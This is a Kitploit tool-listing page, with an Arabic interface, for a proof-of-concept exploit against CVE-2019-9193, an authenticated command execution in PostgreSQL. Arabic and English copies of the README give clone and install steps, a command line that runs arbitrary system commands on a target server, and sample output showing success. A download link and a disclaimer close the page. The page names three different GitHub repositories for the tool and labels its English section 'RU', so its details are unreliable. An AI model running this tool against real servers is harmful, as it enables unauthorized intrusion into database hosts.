Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/jhnhnck/cve-2019-9193
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

أداة إثبات المفهوم (PoC) مصممة لاستغلال ثغرة تنفيذ كود عن بعد (RCE) مصادق عليها في إصدارات معينة من PostgreSQL (9.3 - 11.7)

عرض المستودع
3منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

EN

GenPostgresRCEExploit هي أداة PoC مصممة لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) الموثقة في إصدارات معينة من PostgreSQL (9.3 - 11.7). تتيح للمستخدمين الموثَّقين تنفيذ أوامر النظام على خادم PostgreSQL المعرض للثغرة CVE-2019-9193.

الميزات

  • استغلال RCE: ينفذ أوامر النظام عبر جلسة PostgreSQL موثَّقة.
  • فحص الإصدار: يتحقق من إصدار خادم PostgreSQL المستهدف لتأكيد وجود الثغرة.
  • تنفيذ الأوامر: يسمح بتنفيذ أوامر المستخدم على الخادم إذا كان معرضًا للثغرة.
  • إدارة الجداول تلقائيًا: ينشئ ويحذف جدولًا مؤقتًا لتنفيذ الأوامر دون تدخل يدوي.

المتطلبات

  • Python 3.x
  • مكتبة PostgreSQL للبايثون (psycopg2 من pip)
  • ملفات رأس مكتبة PostgreSQL (libpq-dev من apt)

التثبيت

  1. استنساخ المستودع:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. تثبيت الحزم المطلوبة:
    root@kitploit:~
    pip install -r requirements.txt
    

الاستخدام

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

الخيارات

  • -i, --ip: عنوان IP لخادم PostgreSQL (الافتراضي: 127.0.0.1)
  • -p, --port: منفذ خادم PostgreSQL (الافتراضي: 5432)
  • -d, --database: اسم قاعدة بيانات PostgreSQL (الافتراضي: template1)
  • -U, --user: اسم المستخدم للاتصال بخادم PostgreSQL (الافتراضي: postgres)
  • -P, --password: كلمة المرور للاتصال بخادم PostgreSQL (الافتراضي: postgres)
  • -c, ---command: أمر النظام الذي سيتم تنفيذه على الخادم
  • -t, --timeout: مهلة الاتصال بالثواني (الافتراضي: 10)

مثال

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

يتصل هذا المثال بخادم PostgreSQL على 192.168.1.10، ويصادق باستخدام بيانات الاعتماد المقدمة، وينفذ الأمر whoami.

مثال على الإخراج

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية والاختبار الأخلاقي فقط. الاستخدام غير المصرح به لهذه الأداة ضد أي أنظمة هو أمر غير قانوني وممنوع منعًا باتًا. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.

RU

GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.

Features

  • Exploit RCE: Execute system commands over an authenticated connection to PostgreSQL.
  • Version Check: Checks the version of the target PostgreSQL server for vulnerabilities.
  • Command Execution: Allows arbitrary commands to be executed on the server in the presence of a vulnerability.
  • Table Management: Automatically creates and deletes a temporary table for command execution.

Requirements

  • Python 3.x
  • PostgreSQL client library (psycopg2 package)

Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Install the required packages:
    root@kitploit:~
    pip install -r requirements.txt
    

Usage

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

Options

  • -i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)
  • -p, --port: PostgreSQL server port (Default: 5432)
  • -d, --database: PostgreSQL database name (Default: template1)
  • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
  • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
  • -c, --command: System command to execute on the server
  • -t, --timeout: Connection timeout in seconds (Default: 10)

Example

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.

Example output

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

Disclaimer

This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.

تنزيل الأداة